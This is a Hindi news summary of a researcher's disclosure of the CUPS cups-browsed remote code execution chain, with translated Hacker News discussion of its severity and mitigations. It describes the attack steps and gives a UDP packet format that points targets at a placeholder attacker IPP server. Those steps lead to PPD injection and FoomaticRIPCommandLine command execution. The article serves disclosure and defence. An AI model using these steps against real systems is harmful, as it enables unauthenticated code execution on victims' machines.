1 पॉइंट द्वारा GN⁺ 2024-09-27 | 1 टिप्पणियां | WhatsApp पर शेयर करें
  • CUPS का printer auto-discovery path जब IPP attributes की validation की कमी से जुड़ता है, तो remote unauthenticated attacker malicious printer settings inject कर सकता है और printing के समय arbitrary command execution तक करवा सकता है
  • हमले की शुरुआत cups-browsed के उस व्यवहार से होती है जिसमें वह UDP port 631 पर arbitrary source packets स्वीकार करता है और attacker URL पर Get-Printer-Attributes IPP request भेजता है
  • कमजोरियां CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177 में बंटी हैं, और libcupsfilters, libppd, cups-filters में PPD generation से लेकर foomatic-rip execution flow तक जुड़ती हैं
  • impact scope में अधिकतर GNU/Linux distributions, कुछ BSD, Oracle Solaris, और Chromium/ChromeOS की संभावना तक शामिल हैं; public IPv4 scans में लाखों devices के callbacks और अधिकतम 2 लाख~3 लाख concurrent clients देखे गए
  • practical mitigation के लिए गैर-जरूरी cups-browsed को disable/delete करना और CUPS packages update करना चाहिए; update मुश्किल हो तो UDP 631 और जरूरत पड़ने पर DNS-SD traffic block करने पर विचार करना चाहिए

vulnerability chain का core

  • यह chain CUPS के printer auto-discovery feature से शुरू होकर IPP attribute handling, PPD file generation और filter execution तक जाती है
  • मुख्य कमजोरियां चार stages में एक-दूसरे से जुड़ती हैं
    • CVE-2024-47176: cups-browsed 2.0.1 और उससे नीचे UDP INADDR_ANY:631 पर bind करता है, arbitrary sources के packets पर भरोसा करके attacker-controlled URL पर Get-Printer-Attributes IPP request trigger करता है
    • CVE-2024-47076: libcupsfilters 2.1b1 और उससे नीचे का cfGetPrinterAttributes5 IPP server से मिले attributes को validate/sanitize किए बिना CUPS system को pass कर देता है
    • CVE-2024-47175: libppd 2.1b1 और उससे नीचे का ppdCreatePPDFromIPP2 IPP attributes को validate/sanitize किए बिना temporary PPD file में लिखता है, जिससे attacker-controlled data insertion संभव होता है
    • CVE-2024-47177: cups-filters 2.0.1 और उससे नीचे का foomatic-rip PPD के FoomaticRIPCommandLine parameter के जरिए arbitrary command execution की अनुमति देता है

attack entry point और impact scope

  • remote unauthenticated attacker मौजूदा printer का IPP URL चुपचाप malicious URL में बदल सकता है या नया printer install करवा सकता है
  • वास्तविक command execution उस computer पर print job शुरू होने पर होता है
  • entry points दो हैं
    • WAN / public internet: remote attacker UDP 631 port पर packet भेजता है और authentication की जरूरत नहीं होती
    • LAN: local attacker zeroconf, mDNS, DNS-SD advertisements spoof करके उसी code path से RCE तक पहुंच सकता है
  • CUPS और cups-browsed कई UNIX-like systems में packaged हैं
  • public internet के पूरे IPv4 range को कुछ हफ्तों तक दिन में कई बार scan करने पर, UDP packet भेजने के बाद लाखों devices ने callback किया और अधिकतम 2 लाख~3 लाख concurrent clients का peak देखा गया

cups-browsed द्वारा खुला छोड़ा गया रास्ता

  • Ubuntu laptop पर netstat -anu चलाते समय 0.0.0.0:631 पर listening UDP port मिला
  • lsof -i :631 से जांचने पर TCP 631 cupsd और UDP 631 cups-browsed इस्तेमाल कर रहे थे
  • ps aux में cups-browsed process root के रूप में चलती दिखाई दी
  • cups-browsed CUPS system का हिस्सा है और नए printers खोजकर उन्हें automatically system में add करने का काम करता है
  • source code देखने पर service INADDR_ANY:631 UDP पर bind थी और HEX_NUMBER HEX_NUMBER TEXT_DATA format के UDP packets expect करती थी
  • default configuration file ज्यादातर commented रहने पर access restrictions व्यवहार में कमजोर हो जाती हैं

parsing issue और अतिरिक्त bugs

  • CUPS package खुद oss-fuzz में शामिल है, लेकिन cups-browsed पर fuzzing coverage नहीं दिखती
  • process_browse_data के आसपास AFL-based fuzzing target बनाने पर 5 inputs ने stack-buffer-overflow trigger किया
  • कारण के तौर पर ऐसा flow बताया गया जिसमें दो loops में termination condition check करने से पहले pointer dereference होता है
  • बाद में locking handling point पर race condition और संभावित DoS भी मिला
  • ये issues developers और CERT को report किए गए थे, लेकिन researcher के हिसाब से उन्हें acknowledge या patch नहीं किया गया था

IPP request और PPD injection

  • found_cups_printer UDP packet से parse किए गए text fields में से एक को URL के रूप में process करता है
  • यह URL और related data examine_discovered_printer_record, create_remote_printer_entry flow से होकर libcupsfilters के cfGetPrinterAttributes call तक जाते हैं
  • अगर attacker 0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever format का packet भेजता है, तो target cups-browsed attacker URL से connect करता है
  • connection के समय User-Agent header में kernel version और architecture शामिल थे, और कुछ requests में target username भी report हुआ
  • Internet Printing Protocol client और printer या print server के बीच communication protocol है, जिसका इस्तेमाल printer status query और print jobs submit करने आदि में होता है
  • target system attacker server को printer मानता है और HTTP के अंदर encapsulated Get-Printer-Attributes request भेजता है
  • ippserver python package का इस्तेमाल करके controllable attributes के साथ response देने पर, fake printer user notification के बिना local printers में add हो गया

PPD और foomatic-rip execution path

  • debug logs में printer queue creation, temporary PPD file creation, PPD usage और editing process दिखाई दिया
  • create_queue function IPP attributes को libppd के ppdCreatePPDFromIPP2 API में pass करता है
  • ppdCreatePPDFromIPP2 attacker-controlled text attributes जैसे printer-make-and-model को validation/escaping के बिना PPD file में लिखता है
  • PostScript Printer Description file एक text file है जो printer features और capabilities describe करती है, और CUPS में printer features और usage specify करने का काम करती है
  • PPD के कई directives में से CUPS extension cupsFilter2 print job के समय /usr/lib/cups/filter के नीचे executable files को filter के रूप में चला सकता है
  • foomatic-rip को ऐसा filter माना जाता है जो PPD के FoomaticRIPCommandLine directive के जरिए command execute कर सकता है
  • पुराने foomatic-filters में CVE-2011-2964 और CVE-2011-2697 से जुड़ी fixes थीं, लेकिन confirm हुआ कि CUPS integration के दौरान वे fixes port नहीं हुईं
  • अधिक हालिया CVE-2024-35235 में भी FoomaticRIPCommandLine के जरिए arbitrary command execution का उल्लेख है
  • CUPS developers के explanation के अनुसार, FoomaticRIPCommandLine में क्या दिया जा सकता है इसे existing drivers तोड़े बिना restrict करना बहुत मुश्किल है, और 2010 से पहले के सैकड़ों पुराने printer models सिर्फ Foomatic पर निर्भर हो सकते हैं

RCE reproduction flow

  • RCE chain तीन stages से बनती है
    • target system को attacker के malicious IPP server से connect करवाना
    • attacker-controlled IPP attribute string लौटाकर temporary PPD file में directives inject करना
    • fake printer को print job भेजे जाने पर PPD directives और commands execute होना
  • IPP server setting में PPD string close करके new line insert करने और फिर FoomaticRIPCommandLine और cupsFilter2 directives डालने के तरीके से command execution configure किया गया
  • demo target पूरी तरह patched Ubuntu 24.04.1 LTS और cups-browsed 2.0.1 था, और attacker machine से command execution हासिल हुआ
  • यह flow तब成立 होता है जब cups-browsed, libcupsfilters, libppd, cups-filters की कई processing stages साथ में जुड़ती हैं

mitigation और recommendations

  • अगर cups-browsed की जरूरत नहीं है, तो service को disable करके remove करना recommended है
  • system के CUPS packages update करने चाहिए
  • अगर update नहीं कर सकते और service जरूरी है, तो UDP 631 traffic block करना चाहिए
  • स्थिति के अनुसार DNS-SD traffic भी block किया जा सकता है, लेकिन zeroconf use करने वाले environments में इसे apply करना मुश्किल हो सकता है
  • researcher ने personal recommendation के रूप में कहा कि वे अपने system से CUPS services, binaries और libraries remove करेंगे और UNIX systems से print नहीं करेंगे
  • उन्होंने zeroconf, Avahi, Bonjour listeners भी remove करने की बात जोड़ी

disclosure process और follow-up work

  • research में खुद कुछ दिन लगे, लेकिन 5 सितंबर को OpenPrinting cups-browsed repository में security advisory खोलकर responsible disclosure शुरू करने के बाद public disclosure तक 22 दिन लगे
  • संबंधित discussions cups-browsed, libcupsfilters, libppd, cups-filters security advisories तक गईं
  • research में 2 दिन, working exploit में 249 lines लगीं, और disclosure process में debates, emails, messages और 100 pages से ज्यादा text का आदान-प्रदान हुआ
  • 9.9 CVSS score controversy के बारे में बताया गया कि शुरुआती 9.9 score VINCE report में RedHat engineer ने estimate किया था और दूसरे engineer ने review किया था
  • researcher का मानना है कि RCE आसानी से exploit हो सकता है और package की presence व्यापक है, इसलिए शुरुआती 9.9 आया, लेकिन impact के लिहाज से वे खुद इसे 9.9 classify नहीं करेंगे
  • उन्होंने बताया कि सिर्फ CERT VINCE के साथ share की गई exact Markdown report और exploit leak हो गए
  • शुरुआती exploit.py सिर्फ UDP packet भेजता था और malicious IPP server बनाता था, लेकिन बाद में zeroconf advertisement feature जोड़कर tool के रूप में विकसित हुआ
  • बाद में इसे Go में फिर से लिखा गया और bettercap में integrate किया गया; इसमें LAN में zeroconf, Bonjour, Avahi से advertised services को transparently impersonate करने की functionality और IPP-related handling जोड़ी गई
  • अगला लेख अभी public न किए गए bettercap module से Apple macOS पर हमला करने के बारे में होगा, और schedule अन्य disclosure procedures के कारण तय नहीं है

1 टिप्पणियां

 
GN⁺ 2024-09-27
Hacker News की रायें
  • मुझे लगा यह मज़ाक है। बात यह है कि “एक remote unauthenticated attacker मौजूदा printer का IPP URL किसी malicious URL में बदल सकता है या नया install कर सकता है, जिससे उस computer पर print job शुरू होने पर arbitrary command execution संभव हो जाता है”; लेकिन Heartbleed 7.5 था, तो यह 9.9 हो ही नहीं सकता लगता
    मूल tweet में “सभी GNU/Linux systems आदि पर unauthenticated remote code execution” कहा गया था, लेकिन असल में कई distributions में CUPS सिर्फ loopback पर bind होता है या installed ही नहीं होता
    यह भी कहा गया कि उन्होंने कई हफ्तों तक दिन में कई बार पूरे public IPv4 को scan किया और लाखों devices से callbacks मिले। अगर मेरी समझ सही है, तो इसका मतलब पूरे public IPv4 पर खुले CUPS instances लगभग 3 लाख थे, और remote code execution होने के लिए उस CUPS server को print job मिलनी चाहिए, इसलिए ज़्यादातर मामलों में ऐसा शायद नहीं होगा

    • लेख पढ़ने पर लगता है कि मामला वाकई काफी खराब है, लेकिन बात इससे ज़्यादा इस ओर है कि cups-browsed daemon को खत्म ही होना चाहिए और Linux ecosystem को CUPS के भविष्य पर गंभीरता से चर्चा करनी चाहिए
      Bugs हैरान करने वाली हद तक सरल लगते हैं, और आखिरकार यह काफी गंभीर security issue है, लेकिन default install होने वाले desktop Linux package के upstream response से जिस स्तर की उम्मीद होगी, वैसा नहीं है
      फिर भी यह दुनिया रोक देने वाली CVSS 9.9 panic तो बिल्कुल नहीं है
    • निष्पक्ष रूप से देखें तो लेखक ने भी कहा था, “impact के आधार पर मैं इसे 9.9 classify नहीं करूंगा, लेकिन सच कहूं तो मुझे क्या पता”
    • बिना user action के exploit किया जा सकने वाला buffer overflow भी है। जिस foomatic path के लिए print job चाहिए था, वह scan और exploit करने के सबसे आसान रास्तों में से बस एक था
    • “Look at me, I'm the printer now” meme पर मैं खूब हंसा। severity rating से अलग, कम से कम एक joke तो पक्का मिल गया
    • Heartbleed memory leak था, और यह बिना user action वाला पूरा remote code execution है। remote code execution का मतलब स्वाभाविक रूप से पूरी information disclosure और उससे भी आगे होता है
      सटीक रूप से कहें तो structure ऐसा है कि attacker द्वारा बदली गई printer settings तब execute होती हैं जब user अगली बार अपने printer से print करता है, और vulnerability cupsd में नहीं बल्कि cupsd-browser में है
      लेखक के रवैये पर सवाल हो सकते हैं, लेकिन यह vulnerability खुद सच में बड़ी समस्या है
  • जो लोग CUPS को internet पर expose करते हैं, वे CVE की पहुंच से भी बाहर वाले स्तर पर बेपरवाह हैं

    • जिस vulnerable service की बात है, वह 0.0.0.0 पर listen करती दिख रही है, और यह चिंताजनक है। इसका मतलब है कि by default यह LAN में attack के लिए vulnerable है, और अगर server internet पर exposed है तो port 631 को explicitly block करना होगा
      बेशक trigger करने के लिए user को कुछ print करना होगा, और personally मुझे नहीं लगता कि मैंने Linux पर कभी कुछ print किया है, लेकिन लाखों Linux machines से callbacks मिलने का दावा plausible है
    • इस मामले में “CUPS को internet पर expose करना” कुछ ऐसा लगता है जैसे “internet से जुड़े Linux desktop को चलाना”। मैं तो ऐसा नहीं करूंगा, लेकिन यह पागलपन भी नहीं है, और कोई उम्मीद करेगा कि default Debian desktop install firewall के बिना भी काफी सुरक्षित हो
      कम से कम Linux laptop को airport Wi‑Fi जैसी जगहों पर बाकी सभी devices के लिए बहुत ज्यादा vulnerable नहीं हो जाना चाहिए
    • जो व्यक्ति cafe जाकर public Wi‑Fi इस्तेमाल करता है, वह एक तरह से CUPS expose कर रहा है और exploit हो सकता है। इसे यूं ही dismiss करना किसी की मदद नहीं करता
    • अजीब बात है कि CUPS किसी strongly sandboxed user program के बजाय system daemon के रूप में चलता है
    • फिर भी lateral movement और privilege escalation के लिए यह पूरी जीत है
  • CVSSv3 के Scope metric को कैसे interpret करते हैं, इस पर निर्भर करते हुए ज़्यादा सही rating 8.8 या 9.6 लगती है
    सार यह है कि कुछ desktop Linux variants में LAN पर exposed CUPS 0.0.0.0 पर चल रहा है, root के रूप में execute होता है, और unauthenticated remote code execution के लिए vulnerable है। Ubuntu Server या CentOS जैसे server-oriented Linux के ज़्यादातर मामलों में यह default service नहीं है, लेकिन ज़्यादातर desktop-family Linux में यह default रूप से start होती लगती है
    remote code execution trigger करने के लिए vulnerable Linux machine के user को exploit के बाद कोई document print करना होगा
    evilsocket ने कहा कि उसे लाखों callbacks मिले, और भले ही हममें से ज़्यादातर Linux पर शायद ही print करते हों, उस स्तर का impact बड़ा botnet बनाने के लिए काफी हो सकता है

    • Universities में public IP वाले Linux desktops इस्तेमाल करने वाले, और papers हों, अपनी writing हो या दूसरों की writing, लगातार print करने वाले लोग काफी होते हैं
    • ChromeOS को छोड़ भी दें तो Linux desktop share लगभग 4.5% है। भले हममें से ज़्यादातर print न करते हों, Linux hosts से निकलने वाली print jobs फिर भी काफी होंगी
    • Heartbleed 7.5 था और xz incident से सिर्फ 0.4 कम, तो समझ नहीं आता कि यह 9.6 कैसे हो सकता है
  • मैंने cupsd को internet पर खुला रखा था, इसलिए news सुनकर थोड़ा panic हुआ, लेकिन यहां के title की तरह इस issue को भी कुछ हद तक गलत तरीके से communicate किया गया है। समस्या core cupsd में नहीं, बल्कि अलग package/component cups-browsed में है
    Server के लिए इस्तेमाल होने वाला Gentoo Linux cups-browsed को अलग package के रूप में देता है, और मैंने इसे install नहीं किया था, इसलिए मैं affected नहीं हूं। जिन अधिकांश CUPS users ने यह additional package install नहीं किया है, वे भी इस bug से प्रभावित नहीं हैं
    यह कहना कि CUPS चलाने वाला हर system hack हो सकता है, scale को गलत ढंग से बताना है

    • Debian conservative माना जाता है, फिर भी cups install करने पर आम तौर पर cups-browsed default रूप से साथ आ जाता है, यह बात मुझे हमेशा नापसंद रही। लगता है “no install recommends” से यह हल हो जाता है, लेकिन याद के मुताबिक hplip जैसे additional drivers इसे फिर से खींच लाते हैं
      घर पर मैंने बस service बंद कर दी थी, लेकिन धीरे-धीरे अधिक software scope से बाहर जाते हुए उन components को भी जरूरी जैसा बना रहा है जिन्हें optional होना चाहिए, और यह काफी परेशान करने वाला है
      ऐसा ही एक उदाहरण avahi-daemon है। Desktop Debian/Ubuntu में इसे remove करने की कोशिश करें तो संभव है कि avahi को strong dependency क्यों होना चाहिए, यह समझ न आने वाले दूसरे software भी साथ में हट जाएं
  • “आप जैसे security researcher को ‘सुनने लायक है, यह साबित करना चाहिए’ जैसी सोच रखने वाले triager की वजह से researchers से बहुत ज़्यादा उम्मीद की जाती है और उसे normal मान लिया जाता है” वाला हिस्सा समझ आता है, लेकिन एक दुखद हकीकत भी है
    इस तरह की अच्छी तरह research की गई एक report के बदले bug bounty reward निकालने या resume में CVE खोजने का दावा जोड़ने की कोशिश करने वाली low-quality spam reports 57-57 आ जाती हैं। खासकर LLM बढ़ने के बाद ऐसा spam आसानी से धोखा दे सकता है
    दुखद स्थिति है, लेकिन developers के skeptical होने का पूरा दोष उन पर डालना मुश्किल है

  • संक्षेप में, cups-browsed UDP port 631 पर listen करते हुए user confirmation के बिना printer को auto-install कर सकता है
    attacker इस “feature” का इस्तेमाल करके किसी arbitrary host से download किए जा सकने वाले custom driver वाला fake printer user confirmation के बिना install करता है, और print job भेजे जाने पर चलने वाली command specify करता है
    user उस fake printer पर कुछ print करता है तो वह command execute हो जाती है

    • CUPS 1999 में आया था, तो उस समय user confirmation के बिना auto-install शायद समझ में आता होगा। लेकिन यह आज भी क्यों बचा हुआ है, समझ नहीं आता
  • इस मामले में लगता है distributions ने cups-browsed को feature के तौर पर शामिल किया है, लेकिन Ubuntu/Debian और शायद सभी deb-based distributions में install के समय लगभग सभी services को अपने-आप start कर देना मुझे हमेशा गलत लगता है
    इसका मतलब है कि आपने बस एक package install किया, लेकिन dependency के रूप में install हुई कोई दूसरी network service गलती से खुल सकती है
    exim4 के बारे में तो पता ही होगा, लेकिन निष्पक्ष होकर कहें तो default में वह केवल localhost पर listen करता है, इसलिए शायद बड़ा मुद्दा नहीं है। अभी एक Debian machine पर cups-browsed install करके देखा, तो 0.0.0.0 पर listen करने वाली दो services (cups-browsed और avahi) चालू हो गईं
    Arch/Gentoo और CentOS family distributions में ऐसा नहीं होता

  • Twitter पर डाले गए original CVSS score में लिखा था कि user interaction की जरूरत नहीं है। लेकिन page पर remote code execution chain पढ़ने पर लिखा है, “PPD directives और उनसे जुड़ी command execute हो सके, इसके लिए fake printer पर print job भेजे जाने का इंतज़ार करता है”
    Alice print button नहीं दबाती तो print job trigger नहीं होगा, ऐसा लगता है; सोच रहा हूँ कि मैं क्या miss कर रहा हूँ। evilsocket पर शक नहीं कर रहा, बस अपनी समझ verify करना चाहता हूँ

    • fuzzer से मिला buffer overflow भी है, और यह user interaction के बिना remote code execution तक ले जा सकता है। हालांकि लेखक के पास इस क्षेत्र की पर्याप्त expertise नहीं थी, इसलिए actual exploit नहीं बना पाया
    • यह “interaction” की definition पर निर्भर करता है। मेरी समझ के अनुसार Alice को attacker द्वारा दिया गया document print करने की जरूरत नहीं है, बस कुछ भी print करना काफी है
  • MacOS पर जब भी कुछ print करना पड़ता है, मुझे फिर याद आ जाता है कि printers और printer-related software से मुझे कितनी चिढ़ है। मैं 40 साल से computers इस्तेमाल कर रहा हूँ, और सच में हर 10 साल में printers और ज्यादा सिरदर्द बनते जा रहे हैं

    • यह मजेदार है कि FSF movement का बड़ा हिस्सा Stallman के printer driver quality से परेशान होने से शुरू हुआ था। लेकिन किसी वजह से उस movement ने 40 साल में printer-related software quality में कोई खास सुधार नहीं किया
    • मैंने 10 साल से ज्यादा printer code लिखा है। technical problems कितनी कठिन हैं, यह समझता हूँ, लेकिन vendors स्थिति को कहीं ज्यादा खराब बना देते हैं। printers से नफरत है, और मेरे हिसाब से LaserJet III ही peak था
    • मुझे लगता है printers 10 साल पहले की तुलना में काफी बेहतर हो गए हैं। कम से कम MacOS और iOS पर printer खोजने और print करने में दिक्कत नहीं होती। 10 साल पहले यह पीड़ादायक था, लेकिन अब मेरे हिसाब से smooth है, और driver install करने की भी जरूरत नहीं है
    • latest news: HP printer driver में AI जोड़ रहा है। मजाक नहीं: https://hardware.slashdot.org/story/24/09/27/0030239/hp-is-a...
    • job control खो देते हैं, लेकिन document को PostScript में convert करके printer port पर netcat से भेजें तो ठीक काम करता है
      pdf2ps - | nc 9001